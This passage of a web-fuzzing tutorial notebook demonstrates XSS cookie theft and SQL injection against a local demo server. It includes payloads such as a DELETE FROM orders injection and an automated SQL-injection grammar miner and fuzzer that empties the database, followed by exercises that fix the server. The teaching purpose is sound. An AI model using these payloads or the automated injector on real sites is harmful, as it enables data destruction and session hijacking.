causes the browser to \"steal\" the current *session cookie* – the piece of data the browser uses to identify the user with the server. In our case, we could steal the cookie of the Jupyter session." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "ORDER_GRAMMAR_WITH_XSS_INJECTION = extend_grammar(ORDER_GRAMMAR, {\n", " \"\": [cgi_encode('Jane Doe' +\n", " '')\n", " ],\n", "})" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "xss_injection_fuzzer = GrammarFuzzer(ORDER_GRAMMAR_WITH_XSS_INJECTION)\n", "order_with_injected_xss = xss_injection_fuzzer.fuzz()\n", "order_with_injected_xss" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "url_with_injected_xss = urljoin(httpd_url, order_with_injected_xss)\n", "url_with_injected_xss" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "HTML(webbrowser(url_with_injected_xss, mute=True))" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "The message looks as always – but if you have a look at your browser title, it should now show the first 10 characters of your \"secret\" notebook cookie. Instead of showing its prefix in the title, the script could also silently send the cookie to a remote server, allowing attackers to highjack your current notebook session and interact with the server on your behalf. It could also go and access and send any other data that is shown in your browser or otherwise available. It could run a *keylogger* and steal passwords and other sensitive data as it is typed in. Again, it will do so every time the compromised order with Jane Doe's name is shown in the browser and the associated script is executed." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Let us go and reset the title to a less sensitive value:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "HTML('')" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "### SQL Injection Attacks\n", "\n", "Cross-site scripts have the same privileges as web pages – most notably, they cannot access or change data outside of your browser. So-called *SQL injection* targets _databases_, allowing to inject commands that can read or modify data in the database, or change the purpose of the original query." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "To understand how SQL injection works, let us take a look at the code that produces the SQL command to insert a new order into the database:\n", "\n", "```python\n", "sql_command = (\"INSERT INTO orders \" +\n", " \"VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')\".format(**values))\n", "```\n", "\n", "What happens if any of the values (say, `name`) has a value that _can also be interpreted as a SQL command?_ Then, instead of the intended `INSERT` command, we would execute the command imposed by `name`." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "Let us illustrate this by an example. We set the individual values as they would be found during execution:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "values = {\n", " \"item\": \"tshirt\",\n", " \"name\": \"Jane Doe\",\n", " \"email\": \"j.doe@example.com\",\n", " \"city\": \"Seattle\",\n", " \"zip\": \"98104\"\n", "}" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "and format the string as seen above:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "sql_command = (\"INSERT INTO orders \" +\n", " \"VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')\".format(**values))\n", "sql_command" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "All fine, right? But now, we define a very \"special\" name that can also be interpreted as a SQL command:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "values[\"name\"] = \"Jane', 'x', 'x', 'x'); DELETE FROM orders; -- \"" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "sql_command = (\"INSERT INTO orders \" +\n", " \"VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')\".format(**values))\n", "sql_command" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "What happens here is that we now get a command to insert values into the database (with a few \"dummy\" values `x`), followed by a SQL `DELETE` command that would _delete all entries_ of the orders table. The string `-- ` starts a SQL _comment_ such that the remainder of the original query would be easily ignored. By crafting strings that can also be interpreted as SQL commands, attackers can alter or delete database data, bypass authentication mechanisms and many more." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "Is our server also vulnerable to such attacks? Of course it is. We create a special grammar such that we can set the `` parameter to a string with SQL injection, just as shown above." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "from Grammars import extend_grammar" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "ORDER_GRAMMAR_WITH_SQL_INJECTION = extend_grammar(ORDER_GRAMMAR, {\n", " \"\": [cgi_encode(\"Jane', 'x', 'x', 'x'); DELETE FROM orders; --\")],\n", "})" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "sql_injection_fuzzer = GrammarFuzzer(ORDER_GRAMMAR_WITH_SQL_INJECTION)\n", "order_with_injected_sql = sql_injection_fuzzer.fuzz()\n", "order_with_injected_sql" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "These are the current orders:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "print(db.execute(\"SELECT * FROM orders\").fetchall())" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "Let us go and send our URL with SQL injection to the server. From the log, we see that the \"malicious\" SQL command is formed just as sketched above, and executed, too." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "contents = webbrowser(urljoin(httpd_url, order_with_injected_sql))" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "All orders are now gone:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "print(db.execute(\"SELECT * FROM orders\").fetchall())" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "This effect is also illustrated [in this very popular XKCD comic](https://xkcd.com/327/):" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "![https://xkcd.com/327/](PICS/xkcd_exploits_of_a_mom.png){width=100%}" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "Even if we had not able to execute arbitrary commands, being able to compromise an orders database offers several possibilities for mischief. For instance, we could use the address and matching credit card number of an existing person to go through validation and submit an order, only to have the order then delivered to an address of our choice. We could also use SQL injection to inject HTML and JavaScript code as above, bypassing possible sanitization geared at these domains." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "To avoid such effects, the remedy is to _sanitize_ all third-party inputs – no character in the input must be interpretable as plain HTML, JavaScript, or SQL. This is achieved by properly _quoting_ and _escaping_ inputs. The [exercises](#Exercises) give some instructions on what to do." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "### Leaking Internal Information\n", "\n", "To craft the above SQL queries, we have used _insider information_ – for instance, we knew the name of the table as well as its structure. Surely, an attacker would not know this and thus not be able to run the attack, right? Unfortunately, it turns out we are leaking all of this information out to the world in the first place. The error message produced by our server reveals everything we need:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "answer = webbrowser(urljoin(httpd_url, \"/order\"), mute=True)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "HTML(answer)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "The best way to avoid information leakage through failures is of course not to fail in the first place. But if you fail, make it hard for the attacker to establish a link between the attack and the failure. Do not produce \"internal error\" messages (and certainly not ones with internal information); do not become unresponsive; just go back to the home page and ask the user to supply correct data. One more time, the [exercises](#Exercises) give some instructions on how to fix the server." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "If you can manipulate the server not only to alter information, but also to _retrieve_ information, you can learn about table names and structure by accessing special _tables_ (also called *data dictionary*) in which database servers store their metadata. In the MySQL server, for instance, the special table `information_schema` holds metadata such as the names of databases and tables, data types of columns, or access privileges." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "## Fully Automatic Web Attacks" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "So far, we have demonstrated the above attacks using our manually written order grammar. However, the attacks also work for generated grammars. We extend `HTMLGrammarMiner` by adding a number of common SQL injection attacks:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "class SQLInjectionGrammarMiner(HTMLGrammarMiner):\n", " ATTACKS = [\n", " \"' ); ; \",\n", " \"' \",\n", " \"' OR 1=1'\",\n", " \" OR 1=1\",\n", " ]\n", "\n", " def __init__(self, html_text, sql_payload):\n", " super().__init__(html_text)\n", "\n", " self.QUERY_GRAMMAR = extend_grammar(self.QUERY_GRAMMAR, {\n", " \"\": [\"\", \"\"],\n", " \"\": [\"\", \"\"],\n", " \"\": [\"<_checkbox>\", \"\"],\n", " \"\": [\"<_email>\", \"\"],\n", " \"\": [\n", " cgi_encode(attack, \"<->\") for attack in self.ATTACKS\n", " ],\n", " \"\": [\"\", cgi_encode(\", ''\", \"<->\")],\n", " \"\": [cgi_encode(sql_payload)],\n", " \"\": [\"--\", \"#\"],\n", " })" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "html_miner = SQLInjectionGrammarMiner(\n", " html_text, sql_payload=\"DROP TABLE orders\")" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "grammar = html_miner.mine_grammar()\n", "grammar" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "grammar[\"\"]" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "We see that several fields now are tested for vulnerabilities:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "sql_fuzzer = GrammarFuzzer(grammar)\n", "sql_fuzzer.fuzz()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "print(db.execute(\"SELECT * FROM orders\").fetchall())" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "contents = webbrowser(urljoin(httpd_url,\n", " \"/order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104\"))" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "def orders_db_is_empty():\n", " try:\n", " entries = db.execute(\"SELECT * FROM orders\").fetchall()\n", " except sqlite3.OperationalError:\n", " return True\n", " return len(entries) == 0" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "orders_db_is_empty()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "class SQLInjectionFuzzer(WebFormFuzzer):\n", " def __init__(self, url, sql_payload=\"\", **kwargs):\n", " self.sql_payload = sql_payload\n", " super().__init__(url, **kwargs)\n", "\n", " def get_grammar(self, html_text):\n", " grammar_miner = SQLInjectionGrammarMiner(\n", " html_text, sql_payload=self.sql_payload)\n", " return grammar_miner.mine_grammar()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "sql_fuzzer = SQLInjectionFuzzer(httpd_url, \"DELETE FROM orders\")\n", "web_runner = WebRunner(httpd_url)\n", "trials = 1\n", "\n", "while True:\n", " sql_fuzzer.run(web_runner)\n", " if orders_db_is_empty():\n", " break\n", " trials += 1" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "trials" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Our attack was successful! After less than a second of testing, our database is empty:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "orders_db_is_empty()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "Again, note the level of possible automation: We can\n", "\n", "* Crawl the Web pages of a host for possible forms\n", "* Automatically identify form fields and possible values\n", "* Inject SQL (or HTML, or JavaScript) into any of these fields\n", "\n", "and all of this fully automatically, not needing anything but the URL of the site." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "The bad news is that with a tool set as the above, anyone can attack web sites. The even worse news is that such penetration tests take place every day, on every web site. The good news, though, is that after reading this chapter, you know get an idea of how Web servers are attacked every day – and what you as a Web server maintainer could and should do to prevent this." ] }, { "cell_type": "markdown", "metadata": { "button": false, "new_sheet": true, "run_control": { "read_only": false }, "slideshow": { "slide_type": "slide" } }, "source": [ "## Lessons Learned\n", "\n", "* User Interfaces (in the Web and elsewhere) should be tested with _expected_ and _unexpected_ values.\n", "* One can _mine grammars from user interfaces_, allowing for their widespread testing.\n", "* Consequent _sanitizing_ of inputs prevents common attacks such as code and SQL injection.\n", "* Do not attempt to write a Web server yourself, as you are likely to repeat all the mistakes of others." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "We're done, so we can clean up:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "clear_httpd_messages()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "httpd_process.terminate()" ] }, { "cell_type": "markdown", "metadata": { "button": false, "new_sheet": false, "run_control": { "read_only": false }, "slideshow": { "slide_type": "slide" } }, "source": [ "## Next Steps\n", "\n", "From here, the next step is [GUI Fuzzing](GUIFuzzer.ipynb), going from HTML- and Web-based user interfaces to generic user interfaces (including JavaScript and mobile user interfaces).\n", "\n", "If you are interested in security testing, do not miss our [chapter on information flow](InformationFlow.ipynb), showing how to systematically detect information leaks." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "## Background\n", "\n", "The [Wikipedia pages on Web application security](https://en.wikipedia.org/wiki/Web_application_security) are a mandatory read for anyone building, maintaining, or testing Web applications. In 2012, cross-site scripting and SQL injection, as discussed in this chapter, made up more than 50% of Web application vulnerabilities.\n", "\n", "The [Wikipedia page on penetration testing](https://en.wikipedia.org/wiki/Penetration_test) provides a comprehensive overview on the history of penetration testing, as well as collections of vulnerabilities.\n", "\n", "The [OWASP Zed Attack Proxy Project](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) (ZAP) is an open source Web site security scanner including several of the features discussed above, and many many more." ] }, { "cell_type": "markdown", "metadata": { "button": false, "new_sheet": true, "run_control": { "read_only": false }, "slideshow": { "slide_type": "slide" } }, "source": [ "## Exercises" ] }, { "cell_type": "markdown", "metadata": { "button": false, "new_sheet": false, "run_control": { "read_only": false }, "slideshow": { "slide_type": "subslide" } }, "source": [ "### Exercise 1: Fix the Server\n", "\n", "Create a `BetterHTTPRequestHandler` class that fixes the several issues of `SimpleHTTPRequestHandler`:" ] }, { "cell_type": "markdown", "metadata": { "button": false, "new_sheet": false, "run_control": { "read_only": false }, "slideshow": { "slide_type": "subslide" }, "solution2": "hidden", "solution2_first": true }, "source": [ "#### Part 1: Silent Failures\n", "\n", "Set up the server such that it does not reveal internal information – in particular, tracebacks and HTTP status codes." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "source": [ "**Solution.** We define a better message that does not reveal tracebacks:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "outputs": [], "source": [ "BETTER_HTML_INTERNAL_SERVER_ERROR = \\\n", " HTML_INTERNAL_SERVER_ERROR.replace(\"
{error_message}
\", \"\")" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "outputs": [], "source": [ "HTML(BETTER_HTML_INTERNAL_SERVER_ERROR)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "source": [ "We have the `internal_server_error()` message return `HTTPStatus.OK` to make it harder for machines to find out something went wrong:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "outputs": [], "source": [ "class BetterHTTPRequestHandler(SimpleHTTPRequestHandler):\n", " def internal_server_error(self):\n", " # Note: No INTERNAL_SERVER_ERROR status\n", " self.send_response(HTTPStatus.OK, \"Internal Error\")\n", "\n", " self.send_header(\"Content-type\", \"text/html\")\n", " self.end_headers()\n", "\n", " exc = traceback.format_exc()\n", " self.log_message(\"%s\", exc.strip())\n", "\n", " # No traceback or other information\n", " message = BETTER_HTML_INTERNAL_SERVER_ERROR\n", " self.wfile.write(message.encode(\"utf8\"))" ] }, { "cell_type": "markdown", "metadata": { "button": false, "new_sheet": false, "run_control": { "read_only": false }, "slideshow": { "slide_type": "subslide" } }, "source": [ "#### Part 2: Sanitized HTML\n", "\n", "Set up the server such that it is not vulnerable against HTML and JavaScript injection attacks, notably by using methods such as `html.escape()` to escape special characters when showing them." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden", "solution2_first": true }, "outputs": [], "source": [ "import html" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "source": [ "**Solution.** We pass all values read through `html.escape()` before showing them on the screen; this will properly encode `<`, `&`, and `>` characters." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "outputs": [], "source": [ "class BetterHTTPRequestHandler(BetterHTTPRequestHandler):\n", " def send_order_received(self, values):\n", " sanitized_values = {}\n", " for field in values:\n", " sanitized_values[field] = html.escape(values[field])\n", " sanitized_values[\"item_name\"] = html.escape(\n", " FUZZINGBOOK_SWAG[values[\"item\"]])\n", "\n", " confirmation = HTML_ORDER_RECEIVED.format(\n", " **sanitized_values).encode(\"utf8\")\n", "\n", " self.send_response(HTTPStatus.OK, \"Order received\")\n", " self.send_header(\"Content-type\", \"text/html\")\n", " self.end_headers()\n", " self.wfile.write(confirmation)" ] }, { "cell_type": "markdown", "metadata": { "button": false, "new_sheet": false, "run_control": { "read_only": false }, "slideshow": { "slide_type": "subslide" }, "solution2": "hidden", "solution2_first": true }, "source": [ "#### Part 3: Sanitized SQL\n", "\n", "Set up the server such that it is not vulnerable against SQL injection attacks, notably by using _SQL parameter substitution._" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "source": [ "**Solution.** We use SQL parameter substitution to avoid interpretation of inputs as SQL commands. Also, we use `execute()` rather than `executescript()` to avoid processing of multiple commands." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "outputs": [], "source": [ "class BetterHTTPRequestHandler(BetterHTTPRequestHandler):\n", " def store_order(self, values):\n", " db = sqlite3.connect(ORDERS_DB)\n", " db.execute(\"INSERT INTO orders VALUES (?, ?, ?, ?, ?)\",\n", " (values['item'], values['name'], values['email'], values['city'], values['zip']))\n", " db.commit()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "source": [ "One could also argue not to save \"dangerous\" characters in the first place. But then, there might always be names or addresses with special characters which all need to be handled." ] }, { "cell_type": "markdown", "metadata": { "button": false, "new_sheet": false, "run_control": { "read_only": false }, "slideshow": { "slide_type": "subslide" }, "solution2": "hidden", "solution2_first": true }, "source": [ "#### Part 4: A Robust Server\n", "\n", "Set up the server such that it does not crash with invalid or missing fields." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "source": [ "**Solution.** We set up a simple check at the beginning of `handle_order()` that checks whether all required fields are present. If not, we return to the order form." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "cell_style": "split", "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "outputs": [], "source": [ "class BetterHTTPRequestHandler(BetterHTTPRequestHandler):\n", " REQUIRED_FIELDS = ['item', 'name', 'email', 'city', 'zip']\n", "\n", " def handle_order(self):\n", " values = self.get_field_values()\n", " for required_field in self.REQUIRED_FIELDS:\n", " if required_field not in values:\n", " self.send_order_form()\n", " return\n", "\n", " self.store_order(values)\n", " self.send_order_received(values)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "source": [ "This could easily be extended to check for valid (at least non-empty) values. Also, the order form should be pre-filled with the originally submitted values, and come with a helpful error message." ] }, { "cell_type": "markdown", "metadata": { "button": false, "new_sheet": false, "run_control": { "read_only": false }, "slideshow": { "slide_type": "subslide" }, "solution2": "hidden", "solution2_first": true }, "source": [ "#### Part 5: Test it!\n", "\n", "Test your improved server whether your measures have been successful." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "source": [ "**Solution.** Here we go:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "outputs": [], "source": [ "httpd_process, httpd_url = start_httpd(BetterHTTPRequestHandler)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "outputs": [], "source": [ "print_url(httpd_url)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "outputs": [], "source": [ "print_httpd_messages()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "source": [ "We test standard behavior:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "outputs": [], "source": [ "standard_order = \"/order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104\"\n", "contents = webbrowser(httpd_url + standard_order)\n", "HTML(contents)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "outputs": [], "source": [ "assert contents.find(\"Thank you\") > 0" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "source": [ "We test for incomplete URLs:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "outputs": [], "source": [ "bad_order = \"/order?item=\"\n", "contents = webbrowser(httpd_url + bad_order)\n", "HTML(contents)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "outputs": [], "source": [ "assert contents.find(\"Order Form\") > 0" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "source": [ "We test for HTML (and JavaScript) injection:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "outputs": [], "source": [ "injection_order = \"/order?item=tshirt&name=Jane+Doe\" + cgi_encode(\"\") + \\\n", " \"&email=doe%40example.com&city=Seattle&zip=98104\"\n", "contents = webbrowser(httpd_url + injection_order)\n", "HTML(contents)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" }, "solution2": "hidden" }, "outputs": [], "source": [ "assert contents.find(\"Thank you\") > 0\n", "assert contents.find(\"